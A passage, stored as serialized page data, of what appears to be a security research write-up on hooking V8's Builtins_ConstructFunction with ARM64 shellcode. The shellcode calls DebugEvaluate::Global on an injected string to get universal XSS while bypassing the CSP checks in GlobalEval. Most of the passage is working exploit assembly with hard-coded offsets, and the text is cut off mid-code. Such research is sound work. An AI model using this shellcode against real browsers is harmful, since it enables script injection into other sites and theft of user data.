",{"type":23,"tag":154,"props":142058,"children":142060},{"className":142059},[],[142061],{"type":29,"value":141247},{"type":29,"value":142063},", and then returns execution to its beginning:",{"type":23,"tag":4743,"props":142065,"children":142067},{"code":142066,"language":141300,"meta":7,"className":141301,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[142068],{"type":23,"tag":154,"props":142069,"children":142070},{"__ignoreMap":7},[142071,142079,142087,142095,142103,142111,142118,142125,142133,142140,142147,142155,142163,142171,142179,142187,142195,142203,142211,142219,142227,142235,142243,142251,142259,142267,142275,142282,142290,142298,142306,142314,142322,142329,142337,142345,142352],{"type":23,"tag":504,"props":142072,"children":142073},{"class":5016,"line":5017},[142074],{"type":23,"tag":504,"props":142075,"children":142076},{},[142077],{"type":29,"value":142078},"// restore original instructions of Builtins_ConstructFunction\n",{"type":23,"tag":504,"props":142080,"children":142081},{"class":5016,"line":4868},[142082],{"type":23,"tag":504,"props":142083,"children":142084},{},[142085],{"type":29,"value":142086},"ldr lr, [sp], #16\n",{"type":23,"tag":504,"props":142088,"children":142089},{"class":5016,"line":4876},[142090],{"type":23,"tag":504,"props":142091,"children":142092},{},[142093],{"type":29,"value":142094},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":23,"tag":504,"props":142096,"children":142097},{"class":5016,"line":5099},[142098],{"type":23,"tag":504,"props":142099,"children":142100},{},[142101],{"type":29,"value":142102},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":23,"tag":504,"props":142104,"children":142105},{"class":5016,"line":5203},[142106],{"type":23,"tag":504,"props":142107,"children":142108},{},[142109],{"type":29,"value":142110},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":23,"tag":504,"props":142112,"children":142113},{"class":5016,"line":5308},[142114],{"type":23,"tag":504,"props":142115,"children":142116},{"emptyLinePlaceholder":15},[142117],{"type":29,"value":5734},{"type":23,"tag":504,"props":142119,"children":142120},{"class":5016,"line":5336},[142121],{"type":23,"tag":504,"props":142122,"children":142123},{},[142124],{"type":29,"value":141653},{"type":23,"tag":504,"props":142126,"children":142127},{"class":5016,"line":5349},[142128],{"type":23,"tag":504,"props":142129,"children":142130},{},[142131],{"type":29,"value":142132},"mov x0, lr\n",{"type":23,"tag":504,"props":142134,"children":142135},{"class":5016,"line":5367},[142136],{"type":23,"tag":504,"props":142137,"children":142138},{},[142139],{"type":29,"value":141669},{"type":23,"tag":504,"props":142141,"children":142142},{"class":5016,"line":5388},[142143],{"type":23,"tag":504,"props":142144,"children":142145},{"emptyLinePlaceholder":15},[142146],{"type":29,"value":5734},{"type":23,"tag":504,"props":142148,"children":142149},{"class":5016,"line":5397},[142150],{"type":23,"tag":504,"props":142151,"children":142152},{},[142153],{"type":29,"value":142154},"// restore original registers\n",{"type":23,"tag":504,"props":142156,"children":142157},{"class":5016,"line":5649},[142158],{"type":23,"tag":504,"props":142159,"children":142160},{},[142161],{"type":29,"value":142162},"ldp x28, x29, [sp], #16\n",{"type":23,"tag":504,"props":142164,"children":142165},{"class":5016,"line":5666},[142166],{"type":23,"tag":504,"props":142167,"children":142168},{},[142169],{"type":29,"value":142170},"ldp x26, x27, [sp], #16\n",{"type":23,"tag":504,"props":142172,"children":142173},{"class":5016,"line":5683},[142174],{"type":23,"tag":504,"props":142175,"children":142176},{},[142177],{"type":29,"value":142178},"ldp x24, x25, [sp], #16\n",{"type":23,"tag":504,"props":142180,"children":142181},{"class":5016,"line":5696},[142182],{"type":23,"tag":504,"props":142183,"children":142184},{},[142185],{"type":29,"value":142186},"ldp x22, x23, [sp], #16\n",{"type":23,"tag":504,"props":142188,"children":142189},{"class":5016,"line":5705},[142190],{"type":23,"tag":504,"props":142191,"children":142192},{},[142193],{"type":29,"value":142194},"ldp x20, x21, [sp], #16\n",{"type":23,"tag":504,"props":142196,"children":142197},{"class":5016,"line":5728},[142198],{"type":23,"tag":504,"props":142199,"children":142200},{},[142201],{"type":29,"value":142202},"ldp x18, x19, [sp], #16\n",{"type":23,"tag":504,"props":142204,"children":142205},{"class":5016,"line":5737},[142206],{"type":23,"tag":504,"props":142207,"children":142208},{},[142209],{"type":29,"value":142210},"ldp x16, x17, [sp], #16\n",{"type":23,"tag":504,"props":142212,"children":142213},{"class":5016,"line":5746},[142214],{"type":23,"tag":504,"props":142215,"children":142216},{},[142217],{"type":29,"value":142218},"ldp x14, x15, [sp], #16\n",{"type":23,"tag":504,"props":142220,"children":142221},{"class":5016,"line":5813},[142222],{"type":23,"tag":504,"props":142223,"children":142224},{},[142225],{"type":29,"value":142226},"ldp x12, x13, [sp], #16\n",{"type":23,"tag":504,"props":142228,"children":142229},{"class":5016,"line":5821},[142230],{"type":23,"tag":504,"props":142231,"children":142232},{},[142233],{"type":29,"value":142234},"ldp x10, x11, [sp], #16\n",{"type":23,"tag":504,"props":142236,"children":142237},{"class":5016,"line":5851},[142238],{"type":23,"tag":504,"props":142239,"children":142240},{},[142241],{"type":29,"value":142242},"ldp x8,  x9,  [sp], #16\n",{"type":23,"tag":504,"props":142244,"children":142245},{"class":5016,"line":5859},[142246],{"type":23,"tag":504,"props":142247,"children":142248},{},[142249],{"type":29,"value":142250},"ldp x6,  x7,  [sp], #16\n",{"type":23,"tag":504,"props":142252,"children":142253},{"class":5016,"line":5891},[142254],{"type":23,"tag":504,"props":142255,"children":142256},{},[142257],{"type":29,"value":142258},"ldp x4,  x5,  [sp], #16\n",{"type":23,"tag":504,"props":142260,"children":142261},{"class":5016,"line":5899},[142262],{"type":23,"tag":504,"props":142263,"children":142264},{},[142265],{"type":29,"value":142266},"ldp x2,  x3,  [sp], #16\n",{"type":23,"tag":504,"props":142268,"children":142269},{"class":5016,"line":5959},[142270],{"type":23,"tag":504,"props":142271,"children":142272},{},[142273],{"type":29,"value":142274},"ldp x0,  x1,  [sp], #16\n",{"type":23,"tag":504,"props":142276,"children":142277},{"class":5016,"line":11093},[142278],{"type":23,"tag":504,"props":142279,"children":142280},{"emptyLinePlaceholder":15},[142281],{"type":29,"value":5734},{"type":23,"tag":504,"props":142283,"children":142284},{"class":5016,"line":11111},[142285],{"type":23,"tag":504,"props":142286,"children":142287},{},[142288],{"type":29,"value":142289},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":23,"tag":504,"props":142291,"children":142292},{"class":5016,"line":11156},[142293],{"type":23,"tag":504,"props":142294,"children":142295},{},[142296],{"type":29,"value":142297},"// it immediately, so we can clobber and use it as a return register.\n",{"type":23,"tag":504,"props":142299,"children":142300},{"class":5016,"line":11262},[142301],{"type":23,"tag":504,"props":142302,"children":142303},{},[142304],{"type":29,"value":142305},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":23,"tag":504,"props":142307,"children":142308},{"class":5016,"line":25550},[142309],{"type":23,"tag":504,"props":142310,"children":142311},{},[142312],{"type":29,"value":142313},"// where to return\n",{"type":23,"tag":504,"props":142315,"children":142316},{"class":5016,"line":25585},[142317],{"type":23,"tag":504,"props":142318,"children":142319},{},[142320],{"type":29,"value":142321},"mov x4, lr\n",{"type":23,"tag":504,"props":142323,"children":142324},{"class":5016,"line":25593},[142325],{"type":23,"tag":504,"props":142326,"children":142327},{"emptyLinePlaceholder":15},[142328],{"type":29,"value":5734},{"type":23,"tag":504,"props":142330,"children":142331},{"class":5016,"line":25601},[142332],{"type":23,"tag":504,"props":142333,"children":142334},{},[142335],{"type":29,"value":142336},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":23,"tag":504,"props":142338,"children":142339},{"class":5016,"line":25610},[142340],{"type":23,"tag":504,"props":142341,"children":142342},{},[142343],{"type":29,"value":142344},"ldp x15, lr, [sp], #16\n",{"type":23,"tag":504,"props":142346,"children":142347},{"class":5016,"line":25652},[142348],{"type":23,"tag":504,"props":142349,"children":142350},{"emptyLinePlaceholder":15},[142351],{"type":29,"value":5734},{"type":23,"tag":504,"props":142353,"children":142354},{"class":5016,"line":25685},[142355],{"type":23,"tag":504,"props":142356,"children":142357},{},[142358],{"type":29,"value":142359},"ret x4\n",{"type":23,"tag":32,"props":142361,"children":142362},{},[142363,142365,142370,142372,142377,142379,142385],{"type":29,"value":142364},"At this point, we have successfully hooked ",{"type":23,"tag":154,"props":142366,"children":142368},{"className":142367},[],[142369],{"type":29,"value":141247},{"type":29,"value":142371}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":23,"tag":154,"props":142373,"children":142375},{"className":142374},[],[142376],{"type":29,"value":141763},{"type":29,"value":142378}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":23,"tag":154,"props":142380,"children":142382},{"className":142381},[],[142383],{"type":29,"value":142384},"Builtins_GlobalEval",{"type":29,"value":357},{"type":23,"tag":32,"props":142387,"children":142388},{},[142389,142394,142396,142401,142403,142408],{"type":23,"tag":154,"props":142390,"children":142392},{"className":142391},[],[142393],{"type":29,"value":142384},{"type":29,"value":142395}," takes a single ",{"type":23,"tag":154,"props":142397,"children":142399},{"className":142398},[],[142400],{"type":29,"value":49989},{"type":29,"value":142402}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":23,"tag":154,"props":142404,"children":142406},{"className":142405},[],[142407],{"type":29,"value":39605},{"type":29,"value":6533},{"type":23,"tag":4743,"props":142410,"children":142412},{"code":142411,"language":31166,"meta":7,"className":31164,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[142413],{"type":23,"tag":154,"props":142414,"children":142415},{"__ignoreMap":7},[142416,142429,142436,142443,142486,142508,142534],{"type":23,"tag":504,"props":142417,"children":142418},{"class":5016,"line":5017},[142419,142424],{"type":23,"tag":504,"props":142420,"children":142421},{"style":5139},[142422],{"type":29,"value":142423},"BUILTIN",{"type":23,"tag":504,"props":142425,"children":142426},{"style":5058},[142427],{"type":29,"value":142428},"(GlobalEval) {\n",{"type":23,"tag":504,"props":142430,"children":142431},{"class":5016,"line":4868},[142432],{"type":23,"tag":504,"props":142433,"children":142434},{"style":5058},[142435],{"type":29,"value":128932},{"type":23,"tag":504,"props":142437,"children":142438},{"class":5016,"line":4876},[142439],{"type":23,"tag":504,"props":142440,"children":142441},{"emptyLinePlaceholder":15},[142442],{"type":29,"value":5734},{"type":23,"tag":504,"props":142444,"children":142445},{"class":5016,"line":5099},[142446,142451,142456,142460,142465,142469,142473,142477,142482],{"type":23,"tag":504,"props":142447,"children":142448},{"style":5058},[142449],{"type":29,"value":142450},"  if (!Builtins::",{"type":23,"tag":504,"props":142452,"children":142453},{"style":5467},[142454],{"type":29,"value":142455},"AllowDynamicFunction",{"type":23,"tag":504,"props":142457,"children":142458},{"style":5058},[142459],{"type":29,"value":603},{"type":23,"tag":504,"props":142461,"children":142462},{"style":5467},[142463],{"type":29,"value":142464},"isolate",{"type":23,"tag":504,"props":142466,"children":142467},{"style":5058},[142468],{"type":29,"value":4367},{"type":23,"tag":504,"props":142470,"children":142471},{"style":5467},[142472],{"type":29,"value":116857},{"type":23,"tag":504,"props":142474,"children":142475},{"style":5058},[142476],{"type":29,"value":4367},{"type":23,"tag":504,"props":142478,"children":142479},{"style":5467},[142480],{"type":29,"value":142481},"target_global_proxy",{"type":23,"tag":504,"props":142483,"children":142484},{"style":5058},[142485],{"type":29,"value":37250},{"type":23,"tag":504,"props":142487,"children":142488},{"class":5016,"line":5203},[142489,142494,142498,142503],{"type":23,"tag":504,"props":142490,"children":142491},{"style":5041},[142492],{"type":29,"value":142493},"    isolate",{"type":23,"tag":504,"props":142495,"children":142496},{"style":5058},[142497],{"type":29,"value":15803},{"type":23,"tag":504,"props":142499,"children":142500},{"style":5139},[142501],{"type":29,"value":142502},"CountUsage",{"type":23,"tag":504,"props":142504,"children":142505},{"style":5058},[142506],{"type":29,"value":142507},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":23,"tag":504,"props":142509,"children":142510},{"class":5016,"line":5308},[142511,142515,142520,142525,142530],{"type":23,"tag":504,"props":142512,"children":142513},{"style":5067},[142514],{"type":29,"value":19037},{"type":23,"tag":504,"props":142516,"children":142517},{"style":5139},[142518],{"type":29,"value":142519}," ReadOnlyRoots",{"type":23,"tag":504,"props":142521,"children":142522},{"style":5058},[142523],{"type":29,"value":142524},"(isolate).",{"type":23,"tag":504,"props":142526,"children":142527},{"style":5139},[142528],{"type":29,"value":142529},"undefined_value",{"type":23,"tag":504,"props":142531,"children":142532},{"style":5058},[142533],{"type":29,"value":5725},{"type":23,"tag":504,"props":142535,"children":142536},{"class":5016,"line":5336},[142537],{"type":23,"tag":504,"props":142538,"children":142539},{"style":5058},[142540],{"type":29,"value":7917},{"type":23,"tag":32,"props":142542,"children":142543},{},[142544,142546,142551],{"type":29,"value":142545},"This means we would need to patch the function further to ensure it never enters this ",{"type":23,"tag":154,"props":142547,"children":142549},{"className":142548},[],[142550],{"type":29,"value":17626},{"type":29,"value":142552}," block.",{"type":23,"tag":32,"props":142554,"children":142555},{},[142556],{"type":29,"value":142557},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":23,"tag":4743,"props":142559,"children":142561},{"code":142560,"language":31166,"meta":7,"className":31164,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[142562],{"type":23,"tag":154,"props":142563,"children":142564},{"__ignoreMap":7},[142565,142576,142583,142590,142597,142605,142617,142625,142642,142672,142680,142692],{"type":23,"tag":504,"props":142566,"children":142567},{"class":5016,"line":5017},[142568,142572],{"type":23,"tag":504,"props":142569,"children":142570},{"style":5139},[142571],{"type":29,"value":142423},{"type":23,"tag":504,"props":142573,"children":142574},{"style":5058},[142575],{"type":29,"value":142428},{"type":23,"tag":504,"props":142577,"children":142578},{"class":5016,"line":4868},[142579],{"type":23,"tag":504,"props":142580,"children":142581},{"emptyLinePlaceholder":15},[142582],{"type":29,"value":5734},{"type":23,"tag":504,"props":142584,"children":142585},{"class":5016,"line":4876},[142586],{"type":23,"tag":504,"props":142587,"children":142588},{"style":5058},[142589],{"type":29,"value":128932},{"type":23,"tag":504,"props":142591,"children":142592},{"class":5016,"line":5099},[142593],{"type":23,"tag":504,"props":142594,"children":142595},{"emptyLinePlaceholder":15},[142596],{"type":29,"value":5734},{"type":23,"tag":504,"props":142598,"children":142599},{"class":5016,"line":5203},[142600],{"type":23,"tag":504,"props":142601,"children":142602},{"style":5058},[142603],{"type":29,"value":142604},"  DirectHandle\u003CJSFunction> function;\n",{"type":23,"tag":504,"props":142606,"children":142607},{"class":5016,"line":5308},[142608,142613],{"type":23,"tag":504,"props":142609,"children":142610},{"style":5139},[142611],{"type":29,"value":142612},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":23,"tag":504,"props":142614,"children":142615},{"style":5058},[142616],{"type":29,"value":5512},{"type":23,"tag":504,"props":142618,"children":142619},{"class":5016,"line":5336},[142620],{"type":23,"tag":504,"props":142621,"children":142622},{"style":5058},[142623],{"type":29,"value":142624},"      isolate, function,\n",{"type":23,"tag":504,"props":142626,"children":142627},{"class":5016,"line":5349},[142628,142633,142638],{"type":23,"tag":504,"props":142629,"children":142630},{"style":5058},[142631],{"type":29,"value":142632},"      Compiler::",{"type":23,"tag":504,"props":142634,"children":142635},{"style":5139},[142636],{"type":29,"value":142637},"GetFunctionFromValidatedString",{"type":23,"tag":504,"props":142639,"children":142640},{"style":5058},[142641],{"type":29,"value":5512},{"type":23,"tag":504,"props":142643,"children":142644},{"class":5016,"line":5367},[142645,142650,142654,142658,142662,142667],{"type":23,"tag":504,"props":142646,"children":142647},{"style":5139},[142648],{"type":29,"value":142649},"          direct_handle",{"type":23,"tag":504,"props":142651,"children":142652},{"style":5058},[142653],{"type":29,"value":603},{"type":23,"tag":504,"props":142655,"children":142656},{"style":5041},[142657],{"type":29,"value":116857},{"type":23,"tag":504,"props":142659,"children":142660},{"style":5058},[142661],{"type":29,"value":15803},{"type":23,"tag":504,"props":142663,"children":142664},{"style":5139},[142665],{"type":29,"value":142666},"native_context",{"type":23,"tag":504,"props":142668,"children":142669},{"style":5058},[142670],{"type":29,"value":142671},"(), isolate), source,\n",{"type":23,"tag":504,"props":142673,"children":142674},{"class":5016,"line":5388},[142675],{"type":23,"tag":504,"props":142676,"children":142677},{"style":5058},[142678],{"type":29,"value":142679},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":23,"tag":504,"props":142681,"children":142682},{"class":5016,"line":5397},[142683,142688],{"type":23,"tag":504,"props":142684,"children":142685},{"style":5139},[142686],{"type":29,"value":142687},"  RETURN_RESULT_OR_FAILURE",{"type":23,"tag":504,"props":142689,"children":142690},{"style":5058},[142691],{"type":29,"value":5512},{"type":23,"tag":504,"props":142693,"children":142694},{"class":5016,"line":5649},[142695,142700,142705],{"type":23,"tag":504,"props":142696,"children":142697},{"style":5058},[142698],{"type":29,"value":142699},"      isolate, Execution::",{"type":23,"tag":504,"props":142701,"children":142702},{"style":5139},[142703],{"type":29,"value":142704},"Call",{"type":23,"tag":504,"props":142706,"children":142707},{"style":5058},[142708],{"type":29,"value":142709},"(isolate, function, target_global_proxy, {}));\n",{"type":23,"tag":32,"props":142711,"children":142712},{},[142713,142715,142720,142722,142728,142730,142736,142738,142744],{"type":29,"value":142714},"But determining the correct ",{"type":23,"tag":154,"props":142716,"children":142718},{"className":142717},[],[142719],{"type":29,"value":116857},{"type":29,"value":142721}," value, obtaining ",{"type":23,"tag":154,"props":142723,"children":142725},{"className":142724},[],[142726],{"type":29,"value":142727},"target->native_context()",{"type":29,"value":142729},", and locating the ",{"type":23,"tag":154,"props":142731,"children":142733},{"className":142732},[],[142734],{"type":29,"value":142735},"direct_handle",{"type":29,"value":142737}," function, just to make a proper call to ",{"type":23,"tag":154,"props":142739,"children":142741},{"className":142740},[],[142742],{"type":29,"value":142743},"Compiler::GetFunctionFromValidatedString",{"type":29,"value":142745},", seemed unnecessarily cumbersome.",{"type":23,"tag":32,"props":142747,"children":142748},{},[142749,142751,142757],{"type":29,"value":142750},"Instead, we found a much simpler option with no security checks: ",{"type":23,"tag":154,"props":142752,"children":142754},{"className":142753},[],[142755],{"type":29,"value":142756},"DebugEvaluate::Global",{"type":29,"value":142758},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":23,"tag":32,"props":142760,"children":142761},{},[142762],{"type":29,"value":142763},"For our needs, it is straightforward to call:",{"type":23,"tag":4743,"props":142765,"children":142767},{"code":142766,"language":31166,"meta":7,"className":31164,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[142768],{"type":23,"tag":154,"props":142769,"children":142770},{"__ignoreMap":7},[142771,142819,142848,142869],{"type":23,"tag":504,"props":142772,"children":142773},{"class":5016,"line":5017},[142774,142779,142783,142787,142792,142797,142801,142806,142810,142815],{"type":23,"tag":504,"props":142775,"children":142776},{"style":5467},[142777],{"type":29,"value":142778},"MaybeDirectHandle",{"type":23,"tag":504,"props":142780,"children":142781},{"style":5058},[142782],{"type":29,"value":2658},{"type":23,"tag":504,"props":142784,"children":142785},{"style":5467},[142786],{"type":29,"value":50914},{"type":23,"tag":504,"props":142788,"children":142789},{"style":5058},[142790],{"type":29,"value":142791},"> DebugEvaluate::",{"type":23,"tag":504,"props":142793,"children":142794},{"style":5139},[142795],{"type":29,"value":142796},"Global",{"type":23,"tag":504,"props":142798,"children":142799},{"style":5058},[142800],{"type":29,"value":603},{"type":23,"tag":504,"props":142802,"children":142803},{"style":5467},[142804],{"type":29,"value":142805},"Isolate",{"type":23,"tag":504,"props":142807,"children":142808},{"style":5030},[142809],{"type":29,"value":6613},{"type":23,"tag":504,"props":142811,"children":142812},{"style":5041},[142813],{"type":29,"value":142814}," isolate",{"type":23,"tag":504,"props":142816,"children":142817},{"style":5058},[142818],{"type":29,"value":5557},{"type":23,"tag":504,"props":142820,"children":142821},{"class":5016,"line":4868},[142822,142827,142831,142835,142839,142844],{"type":23,"tag":504,"props":142823,"children":142824},{"style":5467},[142825],{"type":29,"value":142826},"                                                Handle",{"type":23,"tag":504,"props":142828,"children":142829},{"style":5058},[142830],{"type":29,"value":2658},{"type":23,"tag":504,"props":142832,"children":142833},{"style":5467},[142834],{"type":29,"value":49989},{"type":23,"tag":504,"props":142836,"children":142837},{"style":5058},[142838],{"type":29,"value":7866},{"type":23,"tag":504,"props":142840,"children":142841},{"style":5041},[142842],{"type":29,"value":142843},"source",{"type":23,"tag":504,"props":142845,"children":142846},{"style":5058},[142847],{"type":29,"value":5557},{"type":23,"tag":504,"props":142849,"children":142850},{"class":5016,"line":4876},[142851,142856,142861,142865],{"type":23,"tag":504,"props":142852,"children":142853},{"style":5058},[142854],{"type":29,"value":142855},"                                                debug::",{"type":23,"tag":504,"props":142857,"children":142858},{"style":5467},[142859],{"type":29,"value":142860},"EvaluateGlobalMode",{"type":23,"tag":504,"props":142862,"children":142863},{"style":5041},[142864],{"type":29,"value":108053},{"type":23,"tag":504,"props":142866,"children":142867},{"style":5058},[142868],{"type":29,"value":5557},{"type":23,"tag":504,"props":142870,"children":142871},{"class":5016,"line":5099},[142872,142877,142882],{"type":23,"tag":504,"props":142873,"children":142874},{"style":5467},[142875],{"type":29,"value":142876},"                                                REPLMode",{"type":23,"tag":504,"props":142878,"children":142879},{"style":5041},[142880],{"type":29,"value":142881}," repl_mode",{"type":23,"tag":504,"props":142883,"children":142884},{"style":5058},[142885],{"type":29,"value":5888},{"type":23,"tag":32,"props":142887,"children":142888},{},[142889,142891,142896,142898,142903,142905,142910,142912,142918,142919,142925],{"type":29,"value":142890},"We must supply the ",{"type":23,"tag":154,"props":142892,"children":142894},{"className":142893},[],[142895],{"type":29,"value":142464},{"type":29,"value":142897}," pointer, a ",{"type":23,"tag":154,"props":142899,"children":142901},{"className":142900},[],[142902],{"type":29,"value":49989},{"type":29,"value":142904}," object containing our XSS payload as ",{"type":23,"tag":154,"props":142906,"children":142908},{"className":142907},[],[142909],{"type":29,"value":142843},{"type":29,"value":142911},", and the ",{"type":23,"tag":154,"props":142913,"children":142915},{"className":142914},[],[142916],{"type":29,"value":142917},"mode",{"type":29,"value":4478},{"type":23,"tag":154,"props":142920,"children":142922},{"className":142921},[],[142923],{"type":29,"value":142924},"repl_mode",{"type":29,"value":142926}," values, which are simple enum literals.",{"type":23,"tag":32,"props":142928,"children":142929},{},[142930,142932,142937,142939,142945,142947,142952,142954,142959,142961,142967,142969,142975,142977,142982,142984,142989,142991,142996,142998,143003],{"type":29,"value":142931},"To obtain the ",{"type":23,"tag":154,"props":142933,"children":142935},{"className":142934},[],[142936],{"type":29,"value":142464},{"type":29,"value":142938}," pointer within our shellcode, we call ",{"type":23,"tag":154,"props":142940,"children":142942},{"className":142941},[],[142943],{"type":29,"value":142944},"Isolate::TryGetCurrent()",{"type":29,"value":142946},", which returns the current ",{"type":23,"tag":154,"props":142948,"children":142950},{"className":142949},[],[142951],{"type":29,"value":142464},{"type":29,"value":142953},". To construct a valid ",{"type":23,"tag":154,"props":142955,"children":142957},{"className":142956},[],[142958],{"type":29,"value":49989},{"type":29,"value":142960}," object holding our payload, we call ",{"type":23,"tag":154,"props":142962,"children":142964},{"className":142963},[],[142965],{"type":29,"value":142966},"v8::String::NewFromUTF8",{"type":29,"value":142968},". This ",{"type":23,"tag":154,"props":142970,"children":142972},{"className":142971},[],[142973],{"type":29,"value":142974},"NewFromUTF8",{"type":29,"value":142976}," function takes four arguments: the ",{"type":23,"tag":154,"props":142978,"children":142980},{"className":142979},[],[142981],{"type":29,"value":142464},{"type":29,"value":142983},", the string bytes as ",{"type":23,"tag":154,"props":142985,"children":142987},{"className":142986},[],[142988],{"type":29,"value":5761},{"type":29,"value":142990},", an enum literal specifying the string type, and ",{"type":23,"tag":154,"props":142992,"children":142994},{"className":142993},[],[142995],{"type":29,"value":10549},{"type":29,"value":142997},", which is the size of the ",{"type":23,"tag":154,"props":142999,"children":143001},{"className":143000},[],[143002],{"type":29,"value":5761},{"type":29,"value":19212},{"type":23,"tag":32,"props":143005,"children":143006},{},[143007],{"type":29,"value":143008},"The resulting shellcode that executes our XSS payload looks like this:",{"type":23,"tag":4743,"props":143010,"children":143012},{"code":143011,"language":141300,"meta":7,"className":141301,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[143013],{"type":23,"tag":154,"props":143014,"children":143015},{"__ignoreMap":7},[143016,143024,143032,143040,143048,143056,143064,143072,143080,143088,143096,143104,143112,143119,143127,143135,143143,143151,143158,143166,143173,143181,143189,143196,143203,143210,143217,143224,143231,143239,143247,143254,143262,143270,143277,143285,143293,143300,143307,143315,143323,143331,143338,143346,143354,143362,143370,143378,143386,143394,143402,143410,143418,143426,143433,143441,143449,143456,143464,143472,143480,143488,143495,143503,143510,143517,143525,143533,143541,143549,143558,143567,143575],{"type":23,"tag":504,"props":143017,"children":143018},{"class":5016,"line":5017},[143019],{"type":23,"tag":504,"props":143020,"children":143021},{},[143022],{"type":29,"value":143023},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":23,"tag":504,"props":143025,"children":143026},{"class":5016,"line":4868},[143027],{"type":23,"tag":504,"props":143028,"children":143029},{},[143030],{"type":29,"value":143031},"movz x1, #0xf7a0\n",{"type":23,"tag":504,"props":143033,"children":143034},{"class":5016,"line":4876},[143035],{"type":23,"tag":504,"props":143036,"children":143037},{},[143038],{"type":29,"value":143039},"movk x1, #0x0071, lsl #16\n",{"type":23,"tag":504,"props":143041,"children":143042},{"class":5016,"line":5099},[143043],{"type":23,"tag":504,"props":143044,"children":143045},{},[143046],{"type":29,"value":143047},"add x9, x12, x1\n",{"type":23,"tag":504,"props":143049,"children":143050},{"class":5016,"line":5203},[143051],{"type":23,"tag":504,"props":143052,"children":143053},{},[143054],{"type":29,"value":143055},"movz x1, #0x5ac8\n",{"type":23,"tag":504,"props":143057,"children":143058},{"class":5016,"line":5308},[143059],{"type":23,"tag":504,"props":143060,"children":143061},{},[143062],{"type":29,"value":143063},"movk x1, #0x054f, lsl #16\n",{"type":23,"tag":504,"props":143065,"children":143066},{"class":5016,"line":5336},[143067],{"type":23,"tag":504,"props":143068,"children":143069},{},[143070],{"type":29,"value":143071},"add x0, x12, 